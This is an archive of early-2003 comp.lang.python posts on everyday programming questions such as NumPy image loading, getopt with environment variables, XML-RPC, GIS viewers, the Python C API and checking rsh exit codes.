On 15 Jan 2003 18:29:54 -0600, Chris Spencer <clspence at one.net> wrote:

>	The comparison will not be done inside of a Python interpreter, but in
>an SQL statement. ie...
>select blah from table where value>"999" and value<"3432";
>
>We're storing arbitrary data in text blobs, so we can't make "value" above an
>integer type.
Does your SQL not have a "convert" from text to integer or float, so you can
write a conversion/comparison expression in SQL while storing only text?

Depending on your SQL, you might be also able to define an SQL view
that makes certain text fields or sub-strings thereof look like number columns
for purposes of SELECT.

Regards,
Bengt Richter



From motek at sympatico.ca  Thu Jan 30 14:47:49 2003
From: motek at sympatico.ca (Marcin Swiatek)
Date: 30 Jan 2003 11:47:49 -0800
Subject: Python, NumPy and 16-bit tiff files
Message-ID: <21765ddb.0301301147.64bd89e3@posting.google.com>

Hi,

I have got quite a number of 16 bit images that I need to analyze. I
thought that Python and NumPy would serve me well - as they always did
with other number crunching. However, I do not know, how to bring
these images (16-bit TIFFs) in. PIL doesn't seem to cut it - as a
matter of fact the PIL-makers are quite explicit about that.

Do you know of any library that I could use to load these images and
convert them into Numeric matrices?

Regards,

Marcin



From lac at strakt.com  Sat Jan 11 09:39:45 2003
From: lac at strakt.com (Laura Creighton)
Date: Sat, 11 Jan 2003 15:39:45 +0100
Subject: Newbie simple py2exe problem 
In-Reply-To: Message from Paul Ferguson <pete.joos@pobox.com> 
   of "Sat, 11 Jan 2003 14:15:02 GMT." <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> 
References: <ec902v00ap9a9s7fl450prj7sp1agv4t45@4ax.com> 
Message-ID: <200301111439.h0BEdjjL024372@ratthing-b246.strakt.com>

> created small python app., Installed distutils, installed py2exe. I
> created the script using the example from the py2exe site. When I run
> "python setup.py py2exe" , I get a syntax error on "from
> distutils.core  import setup". What's my problem? 
> -- 
> http://mail.python.org/mailman/listinfo/python-list

1. check your permissions.
if they are ok ...
2. post the real traceback, please.

Laura Creighton




From bh at intevation.de  Wed Jan  8 10:02:08 2003
From: bh at intevation.de (Bernhard Herzog)
Date: 08 Jan 2003 16:02:08 +0100
Subject: Python and GIS
References: <avgqm7$3qn$00$1@news.t-online.com>
Message-ID: <6qy95vvg5r.fsf@salmakis.intevation.de>

Thomas Guettler <zopestoller at thomas-guettler.de> writes:

> I need an interactive map:
> 
> The user should zoom in and out. In the smallest
> view needed you should see towns. Some
> towns should be "clickable". If you click on
> a town data from our database should be displayed.
> 
> Now I need two things: The data and the viewer.
> 
> The data should be from russia.
> 
> It would be good if the data and the viewer are
> open source. But this is not an obligation.

Getting free geographic data is a big problem outside of the USA. I'm
not sure about the situation in Russia but in Europe most geo-data
collected by the government is sold only for very high fees.

[...]
> Up to now Web and GUI solutions are possible.
[...]
>   MapIt http://www.mapit.de/index.en.html
>     MapIt looks good. I think it could be used.
>     Since it uses raster data I would need
>     a huge image of russia.

The images used by MapIt could be easily rendered from EPS files. This
worked reasonable well in e.g. http://www.eine-erde-altar.net/ (the site
seems to be down at the moment, though) :(

Keep in mind though that MapIt is intended to be a *simple* raster map
server although displaying icons on the map and associating links with
those icons is one of it's main purposes.

For more advanced web-mapping you should have a look at the UMN
Mapserver: http://mapserver.gis.umn.edu/index.html 
Mapserver supports Python scripting AFAIK.

>   Sketch http://sketch.sourceforge.net/
>     Sketch can display vector grafic.
>     Making it interactive would need some
>     coding.

It is interactive.

> Drawback: It is developed for
>     unix not win32.

I wouldn't mind if someone would work on a port to Windows ;-) Or if
some one would hire me to do that :)

I'm not sure how easy it would be to turn Sketch into a geodata viewer.
There is a plugin for reading shapefiles, though, so it can be used to
create maps.

Anyway, Thuban might be what you're really looking for:
http://thuban.intevation.org/index.html

Thuban is written with wxPython and runs on Unix and Windows. It perhaps
doesn't do everything you need yet but depending on what you need
exactly it might be relatively simple to add.

Thuban was intended from the start to server as the basis for other
applications. We use it for GREAT-ER for instance:
http://great-er.intevation.org

>   FreeGIS http://freegis.org/index.en.html
>     Good site with a lot of link. Unfortunately
>     too many links for gis-newbies like me.

The tutorial (in German) might help: http://freegis.org/freegis_tutorial/

HTH,

   Bernhard


-- 
Intevation GmbH                                 http://intevation.de/
Sketch                                 http://sketch.sourceforge.net/
MapIt!                                           http://www.mapit.de/



From martin at v.loewis.de  Fri Jan  3 03:48:48 2003
From: martin at v.loewis.de (Martin v. =?iso-8859-15?q?L=F6wis?=)
Date: 03 Jan 2003 09:48:48 +0100
Subject: Why is xml.dom.minidom so slow?
References: <mailman.1041546615.4111.python-list@python.org> <mailman.1041563344.12185.python-list@python.org> <sJbR9.4151$LY2.241302@newsc.telia.net>
Message-ID: <m3n0mimxe7.fsf@mira.informatik.hu-berlin.de>

"Fredrik Lundh" <fredrik at pythonware.com> writes:

> moving the tree building from Python to C++ can easily buy you 10x,
> no matter what parser you're using.

Indeed; this is what makes 4Suite's cDomlette so fast.

Of course, if you use a C++ parser (say, Xerces), and then create
wrapper objects around the tree that Xerces produces, you lose some of
the advantages by creating more objects than necessary.

Regards,
Martin




From skip at pobox.com  Fri Jan 24 09:53:23 2003
From: skip at pobox.com (Skip Montanaro)
Date: Fri, 24 Jan 2003 08:53:23 -0600
Subject: Something like asynchronous XML-RPC possible?
In-Reply-To: <cb035744.0301240308.25034fed@posting.google.com>
References: <cb035744.0301240308.25034fed@posting.google.com>
Message-ID: <15921.21347.767196.870746@montanaro.dyndns.org>

>>>>> "Will" == Will Stuyvesant <hwlgw at hotmail.com> writes:

    Will> Under the hood the processes communicate by means of TCP.  But now
    Will> my boss wants them to communicate by means of UDP!  Any ideas how
    Will> to accomplish this?  It would mean that operation or method calls
    Will> are no longer possible, only communication via events will be
    Will> there.  The desired usage pattern would be::

    Will>   p2 = remote_async_process(url, portnumber)
    Will>   p2.sendEvent(event)

    Will> where the event could be just a string for now.  

Why is UDP important?  Just implement sendEvent() in the server as a method
like so:

    def sendEvent(self, event):
        self.queue.put(event)
        return "okay"

Later on, whatever thread processes that event may make a sendEvent call
back to the requester with results of the processing.

Skip




From tundra at tundraware.com  Sat Jan  4 14:00:07 2003
From: tundra at tundraware.com (Tim Daneliuk)
Date: 04 Jan 2003 19:00:07 GMT
Subject: Getopt: Using Environment Var To Override
In-Reply-To: <mailman.1041651426.11536.python-list@python.org>
References: <ept4va.sa2.ln@boundary.tundraware.com> <mailman.1041651426.11536.python-list@python.org>
Message-ID: <2pa7va.98g.ln@boundary.tundraware.com>

Skip Montanaro wrote:
>     Tim> I currently use getopt to process my command line args.  Is there
>     Tim> some standard/easy/idiomatic/Pythonic way to supplement this with
>     Tim> an environment variable?  
> 
> None that I'm aware of, however depending on how your environment variable
> is formatted it might be trivial tack it onto the front or back of the args
> you pass to getopt.  Suppose you require your environment variable value to
> look like a set of arguments.  It could be as simple as
> 
>     envargs = os.environ.get("MYENV")
>     if envargs is not None:
>         opts, args = getopt.getopt(envargs.split(), ...)
>     for opt, arg in opts:
>         ...
> 
>     if args:
>         handle error?
> 
> then later,
> 
>     opts, args = getopt.getopt(sys.argv[1:], ...)
>     for opt, arg in opts:
>         ...
> 
>     if args:
>         process parameters
> 
> (Based upon the 1, 2, 3 you gave, I think you want to process environment
> variables before the command line.)
> 
> Skip
> 

In case anyone else cares, here's what I ended up with -
I use the program name (PROGNAME) as the environment
variable to hold the options in the same format as one
would use on the command line:
--------------------------------------------------------

# Command line processing - Process any options set in the
# environment first, and then those given on the command line

OPTIONS = sys.argv[1:]
envopt = os.getenv(PROGNAME.upper())
if envopt:
     OPTIONS = envopt.split() + OPTIONS

try:
     opts, args = getopt.getopt(OPTIONS, 'your options go here')
except getopt.GetoptError:
     Usage()
     sys.exit(1)


-- 
------------------------------------------------------------------------------
Tim Daneliuk
tundra at tundraware.com




From gerhard.haering at gmx.de  Thu Jan  2 00:20:40 2003
From: gerhard.haering at gmx.de (Gerhard =?iso-8859-1?Q?H=E4ring?=)
Date: 2 Jan 2003 05:20:40 GMT
Subject: GUI-programming
References: <mailman.1041462676.14469.python-list@python.org> <dff20fdc.0301012116.767a7ff8@posting.google.com>
Message-ID: <slrnb17j17.mp.gerhard.haering@lilith.my-fqdn.de>

Benjamin Travis Hamilton wrote:
> Frederik Fuest <ffrederik at gmx.de> wrote in message news:<mailman.1041462676.14469.python-list at python.org>...
>> Hi,
>> 
>> I would like to programm my GUI, that you can start more than one
>> process at the same time by e.g. clicking different buttons. 
>> 
>> Could anybody help me with this?
> 
> If you do a google search on Boa constructor [...]

While I agree that Boa might become something great some day, I
wouldn't recommend it to innocent people ;-)

I agree that it be worthwhile to get to know what Benjamin means with
'process'. If he really means external processes, then there's no
problem with that - you don't need any threads.

easygui will likely be the easiest solution for this task. [1] For
starting external processes, you can use os.system.

Gerhard

[1] http://home.att.net/~stephen_ferg/easygui/
-- 
Favourite database:             http://www.postgresql.org/
Favourite programming language: http://www.python.org/
Combine the two:                http://pypgsql.sf.net/
Embedded database for Python:   http://pysqlite.sf.net/



From mcfletch at rogers.com  Tue Jan 14 04:16:59 2003
From: mcfletch at rogers.com (Mike C. Fletcher)
Date: Tue, 14 Jan 2003 04:16:59 -0500
Subject: fast way of turning a list of integers<256 into a string
In-Reply-To: <3E23D211.2030503@rogers.com>
References: <f57664b9.0301131444.26ca3b43@posting.google.com> <13a533e8.0301132340.5e56a28a@posting.google.com> <3E23D211.2030503@rogers.com>
Message-ID: <3E23D58B.4050500@rogers.com>

That second non-entry should have been:

 >>> d = struct.pack( 'B'*len(myints), *myints )

Forgot to copy back the fixed version from the interpreter :) .

Sigh,
Mike

Mike C. Fletcher wrote:
...

> >>> struct.pack( ">"*len(myints), *myints )

...






From maxm at mxm.dk  Fri Jan 17 05:04:05 2003
From: maxm at mxm.dk (Max M)
Date: Fri, 17 Jan 2003 11:04:05 +0100
Subject: so how do *you* generate XHTML?
In-Reply-To: <slrnb26aej.1hr.nthomas@rain.cise.ufl.edu>
References: <slrnb26aej.1hr.nthomas@rain.cise.ufl.edu>
Message-ID: <3E27D515.4010100@mxm.dk>

N. Thomas wrote:

> My question: Is there a newer version of HTMLgen or is there a newer
> tool that does the same thing as HTMLgen?


In zope there is a templating system called PageTemplates, wich produces 
xhtml. The code is also xhtml. So my guess is that it would be nicely 
suited for your needs.

I believe that it can be used as a standalone module, but I am not 
completely certain of that.

regards Max M

-- 

hilsen/regards Max M

http://www.futureport.dk/
Fremtiden, videnskab, skeptiscisme og transhumanisme




From tjreedy at udel.edu  Sun Jan 26 16:53:04 2003
From: tjreedy at udel.edu (Terry Reedy)
Date: Sun, 26 Jan 2003 16:53:04 -0500
Subject: skinnable, portable widgets?
References: <TJOY9.4000$U27.382481@newsread2.prod.itd.earthlink.net> <X6WY9.289$qg1.57048@news20.bellglobal.com> <JHXY9.4761$d66.442710@newsread1.prod.itd.earthlink.net>
Message-ID: <FYqcnZqXcdUVx6mjXTWc3Q@comcast.com>

"Brandon Van Every" <vanevery at 3DProgrammer.com> wrote in message
news:JHXY9.4761$d66.442710 at newsread1.prod.itd.earthlink.net...
> Then you have not played any games that actually need GUI elements.
For
> instance, take a look at the Civilization-style games over the past
10

I presume here you mean both the standard, though disguised buttons
and display fields *outside* the graphical game play field and the
various pop-up lists and dialog windows that some games have.

> years.  Or any game with a fairly elaborate multiplayer lobbying
system.

As with Diablo II?

As a user, I would say the goal should be to have things work like (or
at least as well as) a commercial app's widgets without looking like
them, ie without breaking the game illusion.  Having seen some
abominations (a spastic main menu with flickering hilight, a pointer
that moves like its being dragged thru molasses with a rubber band) I
like the idea of skinning functional, debugged widgets.

I have no idea if this is sensibly possible with widget sets that
depend on the underlying OS.  You might take a look at
pyui.sourceforge.net: "Overview:

PyUI is a user interface library written entirely in the high-level
language python. It has a modular implementation that allows the
drawing and event input to be performed by pluggable "renderers". This
makes PyUI very portable and scalable. It can run in environments from
hardware accelerated 3D surfaces to regular desktop windows. PyUI was
originally targeted as a User Interface for games, but it has evolved
into a more general UI toolkit with applicability outside of games.
"

Terry J. Reedy






From claird at lairds.com  Sat Jan 25 09:41:47 2003
From: claird at lairds.com (Cameron Laird)
Date: Sat, 25 Jan 2003 14:41:47 -0000
Subject: December 2002 comp.lang.* stats
References: <b0tctd$9cn$1@bob.news.rcn.net>
Message-ID: <v358hbkrmr1l1d@corp.supernews.com>

In article <b0tctd$9cn$1 at bob.news.rcn.net>,
Aaron K. Johnson  <akjmicro at yahoo.com> wrote:
			.
			.
			.
>What you see below are pure and simple the number of unique posters to each
>comp.lang.whatever hierarchy in December 2002.
			.
			.
			.
>comp.lang.java 5347
>comp.lang.c++ 3075
>comp.lang.perl 2136
>comp.lang.javascript 2130
>comp.lang.python 1996
>comp.lang.basic 1758
>comp.lang.c 1670
>comp.lang.labview 958
>comp.lang.clipper 922
>comp.lang.tcl 853
>comp.lang.pascal 805
>comp.lang.ruby 767
>comp.lang.clarion 707
>comp.lang.lisp 587
>comp.lang.fortran 517
>comp.lang.smalltalk 391
>comp.lang.asm 386
>comp.lang.cobol 382
>comp.lang.ada 376
>comp.lang.vhdl 370
>comp.lang.scheme 349
>comp.lang.postscript 319
>comp.lang.prolog 243
>comp.lang.functional 237
>comp.lang.idl-pvwave 230
>comp.lang.forth 226
>comp.lang.verilog 223
>comp.lang.awk 211
>comp.lang.vrml 153
>comp.lang.rexx 147
>comp.lang.apl 142
>comp.lang.mumps 126
>comp.lang.pl1 121
>comp.lang.misc 115
>comp.lang.objective-c 108
>comp.lang.eiffel 101
>comp.lang.logo 80
>comp.lang.ml 73
>comp.lang.asm370 65
>comp.lang.dylan 38
>comp.lang.modula3 30
>comp.lang.oberon 26
>comp.lang.modula2 23
>comp.lang.pop 22
>comp.lang.icon 17
>comp.lang.idl 15
>comp.lang.limbo 5
>comp.lang.clos 4
>comp.lang.prograph 2
>comp.lang.clu 2
>

comp.lang.php?
-- 

Cameron Laird <Cameron at Lairds.com>
Business:  http://www.Phaseit.net
Personal:  http://phaseit.net/claird/home.html



From me at privacy.net  Thu Jan 30 19:16:03 2003
From: me at privacy.net (Greg Ewing (using news.cis.dfn.de))
Date: Fri, 31 Jan 2003 13:16:03 +1300
Subject: Python vs. C++ Builder - speed of development
References: <3e36d04e_2@news.vo.lu> <T6DZ9.171$tf2.115@news-binary.blueyonder.co.uk> <YkFZ9.1199$wd2.103797@newsread2.prod.itd.earthlink.net> <3E3724FF.8358506E@engcorp.com> <u2MZ9.2132$wd2.169355@newsread2.prod.itd.earthlink.net> <3E37EFC0.62499650@engcorp.com> <cF1_9.3824$wd2.301788@newsread2.prod.itd.earthlink.net>
Message-ID: <3E39C043.7030008@privacy.net>

Brandon Van Every wrote:

> Erik Max Francis has been in my killfile for a long
> time.  And now you are too: I can't stand people who read someone else's
> opinion and answer "You're trolling!" in order to shut it down.


And may people tend to lose interest in someone who
publically announces that they're putting someone
else in their kill file. :-)




From coreydalejohnson at yahoo.com  Sat Jan  4 12:26:01 2003
From: coreydalejohnson at yahoo.com (corey)
Date: 4 Jan 2003 09:26:01 -0800
Subject: Port Python to PS2
References: <194e1e0a.0301031622.69bf6994@posting.google.com> <qm8d1v8oa5kmfb15m7sj1v3g7v5cvvvrfl@4ax.com>
Message-ID: <194e1e0a.0301040926.2833ec9f@posting.google.com>

EpSyLOn <sasDOTepsylon at wanadoo.fr> wrote in message news:<qm8d1v8oa5kmfb15m7sj1v3g7v5cvvvrfl at 4ax.com>...
> http://www.python.org/download/download_other.html
> "Python for PlayStation
> 
> Erwin Coumans has completed a port of Python to the Sony PlayStation
> 2. Send him email for more info."
> His email: erwin at blender.nl
> --                             ___

I've to e-mail him. But that address is no longer valid (I think since
blender went under)

Corey



From essai1 at mci.local  Mon Jan 27 16:17:48 2003
From: essai1 at mci.local (News M Claveau /Hamster-P)
Date: Mon, 27 Jan 2003 22:17:48 +0100
Subject: BDE mit Python?
References: <3E34F503.2000906@web.de> <3E356338.9030605@removethis.free.fr>
Message-ID: <b14b11$8oi$1@news-reader11.wanadoo.fr>

>>>
Better-a-bad-english-than-a-good-[german|french|italian|chinese|spain|klingo
n|whatsoever]

Non, car il vaut mieux du bon Python que du mauvais VB...





From markus_wankus at hotmail.com  Fri Jan  3 16:26:38 2003
From: markus_wankus at hotmail.com (Markus Wankus)
Date: Fri, 03 Jan 2003 16:26:38 -0500
Subject: Best Python Editor (under Linux)
References: <pan.2003.01.02.12.09.57.823588@contillion.com> <lhf4va-ap4.ln@majestix.gallien.de> <slrnb1bo6m.o8n.grey@teleute.dmiyu.org> <3E15E5FD.7000100@hotmail.com> <mailman.1041625027.5715.python-list@python.org>
Message-ID: <3E16000E.1070806@hotmail.com>

Someone seems to be keeping up to it, for Debian anyway.

http://people.debian.org/~rcardenes/#pyqt


Markus.

Jeff Kowalczyk wrote:
> I second this call for RPMs. I've been trying off and on for two weeks getting the
> supporting libraries (particulary QScintilla) to build install correctly on RedHat8. I
> almost had PyQt and QScintilla going from the RH7.3 src RPMS provided on Freshmeat, but
> the build dies late in the game. I've never even gotten eric3's dependencies satisfied.
> 
> Based on the nice pictures I can see from the website, I think there's going to be a lot
> of happy new eric3 users if the binary packaging made it easier to get up and running on
> the latest major distros.
> 
> 
>>Yes, please someone package (eric3) up!  I have been dying to try this out,
>>and have been trying to install PyQt/Qscintilla for a few days now.  I
>>spent the holidays setting up a fresh Linux box at home for the sole
>>purpose of trying eric3 out.  I have yet to experience success.  I
>>cannot seem to compile PyQt/Qscintilla properly for eric to install.
>>All of the issues seem to be related to Qt and it messing with the
>>compile stages of PyQt/Qscintilla.
>>
>>The binaries on sourceforge are next to useless for the latest eric3
>>because the PyQt RPMS don't have Qscintilla support in them!  I'm sure
>>there would be a lot more interest in this editor/debugger if it would
>>install effortlessly (well...reasonably effortlessly - at least have the
>>supporting packages compile properly).
>>
>>(BTW - I am currently running Mandrake 9)
>>
>>Mark.
> 
> 
> 
> 
> 
> 
> 




From LogiplexSoftware at earthlink.net  Tue Jan 21 18:38:24 2003
From: LogiplexSoftware at earthlink.net (Cliff Wells)
Date: 21 Jan 2003 15:38:24 -0800
Subject: Python use growing or shrinking
In-Reply-To: <3E2DD270.8CB2FA4A@engcorp.com>
References: <v2rhpd4d6p8f79@corp.supernews.com>
	 <3E2DD270.8CB2FA4A@engcorp.com>
Message-ID: <1043192304.18175.99.camel@software1.logiplex.internal>

On Tue, 2003-01-21 at 15:06, Peter Hansen wrote:

> Besides, if they search for "Python programming language" at this
> point, they will probably get no hits at all.  After all, didn't we
> all remove the words "programming language" from all our Python 
> pages as a result of the recent revelation that the language is
> not Turing-Complete (since it can't handle infinite memory)....
> <wink>.

Such arbitrary limitations can certainly be annoying.

-- 
Cliff Wells, Software Engineer
Logiplex Corporation (www.logiplex.net)
(503) 978-6726 x308  (800) 735-0555 x308





From johnroth at ameritech.net  Fri Jan  3 09:29:54 2003
From: johnroth at ameritech.net (John Roth)
Date: Fri, 3 Jan 2003 09:29:54 -0500
Subject: Sorting out sort (Re: Python vs. Ruby)
References: <_YhQ9.391356$GR5.119074@rwcrnsc51.ops.asp.att.net> <v14ch7mkp0vu55@news.supernews.com> <mailman.1041382562.17669.python-list@python.org> <v15qgkgpq72tbf@news.supernews.com> <3759308d.0301011401.4b32deba@posting.google.com> <3e143ffa$0$71611$edfadb0f@dread11.news.tele.dk> <v18hldk4img654@news.supernews.com> <3e144c3a$0$71645$edfadb0f@dread11.news.tele.dk>
Message-ID: <v1b7idcfms9ne0@news.supernews.com>

"Anders J. Munch" <andersjm at dancontrol.dk> wrote in message
news:3e144c3a$0$71645$edfadb0f at dread11.news.tele.dk...
> "John Roth" <johnroth at ameritech.net> wrote:
> > > How about adding this to the library somewhere?
> >
> > This version unfortunately doesn't allow chained application. - it's
purely
> > a functional version.
>
> It was intended to be a purely functional version.  It doesn't chain,
> but then it doesn't need to.  Say we add a functional reverse also:
>
> def reverse(sequence):
>     """reverse a sequence, returning a new list"""
>     reversed = list(sequence)
>     reversed.reverse()
>     return reversed
>
> print reverse(sort([1,4,2,3]))
>
> What more do you need?

Something that chains properly.

John Roth

>
> - Anders
>
>





From max at alcyone.com  Thu Jan 16 19:24:20 2003
From: max at alcyone.com (Erik Max Francis)
Date: Thu, 16 Jan 2003 16:24:20 -0800
Subject: iterating in reverse
References: <f57664b9.0301161546.37c85159@posting.google.com>
Message-ID: <3E274D34.8F0C4348@alcyone.com>

"Jonathan P." wrote:

> Is there an elegant and
> efficient way to iterate through x in
> reverse without having to create a reversed
> copy of it (i.e. y=x[:]; y.reverse())?

It's not too elegant, but

	for j in range(len(x) - 1, -1, -1):
	    i = x[j]
	    print i

-- 
 Erik Max Francis / max at alcyone.com / http://www.alcyone.com/max/
 __ San Jose, CA, USA / 37 20 N 121 53 W / &tSftDotIotE
/  \ All the people in his neighborhood turn around and get mad and sing
\__/ Public Enemy
    Bosskey.net: Return to Wolfenstein / http://www.bosskey.net/rtcw/
 A personal guide to Return to Castle Wolfenstein.



From bvdpoel at kootenay.com  Fri Jan 24 21:43:57 2003
From: bvdpoel at kootenay.com (Bob van der Poel)
Date: Fri, 24 Jan 2003 19:43:57 -0700
Subject: tkinter + unicode + bug or feature??
References: <3E3185C3.90402@kootenay.com> <mailman.1043434578.25336.python-list@python.org> <3E319B8C.8020801@kootenay.com> <b0ssrc$mqt$00$1@news.t-online.com>
Message-ID: <3E31F9ED.7090806@kootenay.com>


Martin v. L?wis wrote:
> Bob van der Poel wrote:
> 
>> Okay. I'll have to look at the MegaWidget stuff later. I'm just 
>> thinking that doing something like 
>> string=entrywidget.get().encode('iso8859-1') should do the trick. Not 
>> sure, though, what encoding to use. Is there a pythonic way to 
>> determine the best to use?


Just as a followup, unless I'm totally missing something here using PWM 
doesn't help.

> 
> Encoding the Unicode string should work, as would comparing it to other 
> Unicode strings - you should try to eliminate all non-ASCII byte strings 
> that represent text; then you can happily compare text strings.

BTW, I really think this is a bug. If you enter "ascii" text into the 
entry box you get() returns a string, if you enter "extended ascii" you 
get a unicode string. And since one can't tell beforehand what the user 
is going to enter... Add to this the fact that the behaviour is not 
documented in the tkinter reference manual (yes, it is the tcl/tk manual).

> There is really no way anybody could tell you what encoding to use: YOU 
> should know what encoding your text strings have - how could we possibly 
> know?

Well, yes. Being on the US-side (altho I do live in Canada and we're a 
bit less centric in our thinking) I was just referring to a "normal" 
encoding...whatever that is :)

> If you want to find out what encoding the user is likely to use, you 
> should use locale.nl_langinfo(locale.CODESET) on POSIX systems, and 
> locale.getlocale()[1] on Windows.

Yes, local.getlocale() works fine. Now, if I do use encode on these 
strings, will I run into problems if the user's locale is not encodable 
into 8bits. Or can that not happen?



-- 
Bob van der Poel ** Wynndel, British Columbia, CANADA **
EMAIL: bvdpoel at kootenay.com
WWW:   http://www.kootenay.com/~bvdpoel





From gumuz at looze.net  Wed Jan 22 07:51:24 2003
From: gumuz at looze.net (Gumuz)
Date: Wed, 22 Jan 2003 13:51:24 +0100
Subject: Free Hosting for Open Source projects
Message-ID: <3e2e9430$0$807$4d4ebb8e@news.nl.uu.net>

Hi all,

In order to give something back to the ever so helpfull Open source
(python!) community I'd like to offer free (virtually unlimited) webspace to
1 or 2 open source projects. As I am a fan of Python and the Python
community I am asking you all first. It is our (friend & me) own server and
we can provide shell access, webspace, ftp, email, cvs, cgi , forums,
mailinglists.... the whole shebang and then some.

so, there's no catch or anything, it's just charity :)

so, just email me gumuz_AT_looze.net and we will see.

Guyon

ps. _AT_ == @





From pyth at devel.trillke.net  Tue Jan 21 08:35:00 2003
From: pyth at devel.trillke.net (holger krekel)
Date: Tue, 21 Jan 2003 14:35:00 +0100
Subject: Custom Code Block
In-Reply-To: <3324f4eb.0301210308.4afb5cf4@posting.google.com>; from amir@clockwise3d.com on Tue, Jan 21, 2003 at 03:08:24AM -0800
References: <b06g8c$dke$1@news2.netvision.net.il> <mailman.1042739977.16766.python-list@python.org> <3324f4eb.0301210308.4afb5cf4@posting.google.com>
Message-ID: <20030121143500.E2724@prim.han.de>

Hi Amir,

Amir Hadar wrote:
> I'm a colleague of Mr. Zeev. We have patched Python 2.2 with holger
> patch and it worked real nice. This can really make things easier for
> us.

i'll make a proper release of IEXEC [1] when i get some time. 
my cvs version is already cleaner and better than the one you 
are using.  But i am too busy to release it right now.

> However we still have a problem implementing a certain feature that we
> need.
> What we need is a fork bock
> Example:
> def func():
> 	<fork>
> 		print "hello"
> 	print "func end"
> 
> In this method we want the command print "hello" to run in a different
> thread.

I thought of problems like this before. With

    <fork>
        expression

your fork object is actually able to __catch__ the resulting
object of the expression.  Every object that "drops to the floor"
i.e. is not assigned to some name will get 'thrown' 
to the 'fork' execution handler. 

You can program the 'fork' execution handler to serialize
the catched object to some other process or machine
and execute there.  This has nothing to do with bytecodestrings
or code objects but takes place on the 'object level'. 

> A more generic solution will be something like a complex
> macro. Means that this method will be translated to this:
> def func():
> 	def uniquename():
> 		print "hello"
> 	fork(uniquename)
> 	print "func end"
> 
> If we could do the same without using a unique name it will be better.
> I can do this without inventing new bytecodes by simply manipulating
> the parse tree in the com_node(c,n) function. The problem is that the
> node functions/macros lake the ability to extract a child node and
> more important to get to the parent node. Without getting to the
> parent node I can't replace the block statement with another one (I
> can modify the current node instead).

You could use the python compiler-package (which my patch doesn't) 
to hack some bytecode replacement stuff into it.  But i don't think, 
that "parse preprocessing" or "compile modifications" is a 
solid easy way to get your desired behaviour. 

Especially for stuff like remote processing you want to customize
your "execution handler" to control dispatching and error conditions.
So it is better if the 'object flow' goes through the handler 
and is not a statical 'syntax replacement' at parsing time. 
Doing macros at the syntax level is widely disregarded in 
the python community.  For good reasons. 

The IEXEC protocol aims to support a clean minimal set of 
hooks so your can implement 'execution handling' at the 
user level.  

For example, I currently also use it for XML generation: 
tags are execution handlers and can react to error conditions
in their sub-structure.  They can choose to replace their 
substructure with an error description without harming the
generation of the other parts of the document.  This allows
to e.g. generate html pages that display 90% correctly and
you still see the basic stuff and don't get complicated 
tracebacks with no idea what they mean. 

> So I have the following questions:
> -Where can I find documentation on the python bytecode, running model,
> etc.?

in newsgroups or in the source code. 

> -Is there something like a VM Spec to reference.

not that i know off.

> -If I want to manipulate the parse tree, can I hook to the parser
> before the pars tree hits the compiler?

look at the compiler package and see how e.g. 'quixote' 
does it. 

> -If I modify the parse tree, can it harm in some way the compiler
> (assuming that I leave a legal parse tree after I modify it)?

If you find a good way to hook in, then this should be ok. 

> -Is there a way to hook to the parser through python code? Means that
> python will use python to compile its files in import statment.

look at the compiler package. You'll find documentation on 

    http://www.python.org/dev/doc/maint22/lib/compiler.html

have fun,

    holger


[1] IEXEC is an experimental new protocol at VM-level and
    there is some (a bit outdated) info on

        http://codespeak.net/moin/moin.cgi/IndentedExecution





From brian at sweetapp.com  Tue Jan 21 11:48:32 2003
From: brian at sweetapp.com (Brian Quinlan)
Date: Tue, 21 Jan 2003 08:48:32 -0800
Subject: trying to wrap xmlrpclib into classes
In-Reply-To: <3E2D165A.6030508@outerthought.org>
Message-ID: <004b01c2c16c$ef26c780$21795418@dell1700>

> Instantiating my page goes well, but trying to access a method like
> getInfo, which should invoke server.wiki.getPageInfo(name) through my
> server object does not work, for obvious reasons:
> 
>      self.result = self.server.wiki.getPageInfo(name)
> AttributeError: Server instance has no attribute 'wiki'
> 
> 'Somehow', I want this Page object to forward the method invocation to
> my Server object, but I'm stuck on the _how_. Should I let my Server
> class inherit from the xmlrpclib.Server class? My Page class too?

You could make your Server class an xmlrpclib.Server subclass but I
would just get rid of your Server class since it doesn't really do
anything.

Cheers,
Brian





From theller at python.net  Thu Jan 30 16:04:10 2003
From: theller at python.net (Thomas Heller)
Date: 30 Jan 2003 22:04:10 +0100
Subject: Calling python function form C++ passing a dictionary
References: <3E39908E.7070500@ida.his.se>
Message-ID: <k7gmnyd1.fsf@python.net>

Michael Andersson <a98mican at ida.his.se> writes:

> Hi!
> I'm trying to call a python function form my c++ program but the
> function is never called. The function expect a dictionary as an
> argument so the call from C++ looks like this:
> 
> 
> PyObject* dict = PyDict_New();
> PyObject *time = PyInt_FromLong(0);
> PyDict_SetItemString(dict, "time", time);
> PyObject_CallObject(function, dict);
> 
> It works fine for tuples but not for dictionarys.
> Any ideas?

Here's what the docs say about PyObject_CallObject:

  Call a callable Python object callable_object, with arguments given
  by the tuple args.
         ^^^^^^^^^^
You probably want
  PyObject_CallFunction(function, "O", dict);

And you need to check the return value, if it's NULL, there has been an error!

Thomas



From migmog99 at hotmail.com  Thu Jan 30 06:17:33 2003
From: migmog99 at hotmail.com (Andrew)
Date: 30 Jan 2003 03:17:33 -0800
Subject: Getting return value in os.system rsh call
References: <48633651.0301291033.6f6afeb6@posting.google.com> <3E389466.8789FA1A@alcyone.com>
Message-ID: <48633651.0301300317.174e5e1b@posting.google.com>

DUH.... Erik, I should have read more closely.....

... I need the slash. Then it works. The thing is I've never been
completely happy with my understanding of Unix quoting.

Can anyone explain why putting the slash in makes a difference?

Also, how do I get rid of the stty error messages?

cheers
Andrew

11:13:23$ rsh -n remote "./bad.py; echo \$?; hostname"
stty: standard input: Invalid argument
stty: standard input: Invalid argument
remote
123
remote
11:13:38$ rsh -n remote "./bad.py; echo $?; hostname"
stty: standard input: Invalid argument
stty: standard input: Invalid argument
remote
0
remote



From max at alcyone.com  Wed Jan 22 19:30:44 2003
From: max at alcyone.com (Erik Max Francis)
Date: Wed, 22 Jan 2003 16:30:44 -0800
Subject: max() of a list of tuples
References: <3e2d27c6$1_1@news.uni-bielefeld.de> <ygaX9.4400$bL4.431294@newsread2.prod.itd.earthlink.net> <13a533e8.0301211252.187ffeb9@posting.google.com> <b0l57d$12j$1@wheel2.two14.net> <13a533e8.0301220447.802ca54@posting.google.com>
Message-ID: <3E2F37B4.C8CB8F1A@alcyone.com>

Peter Abel wrote:

> Believe me, I'm not at all happy with (-1.e16,-1.e16,-1.e16).
> It's only because nothing else came into my head.
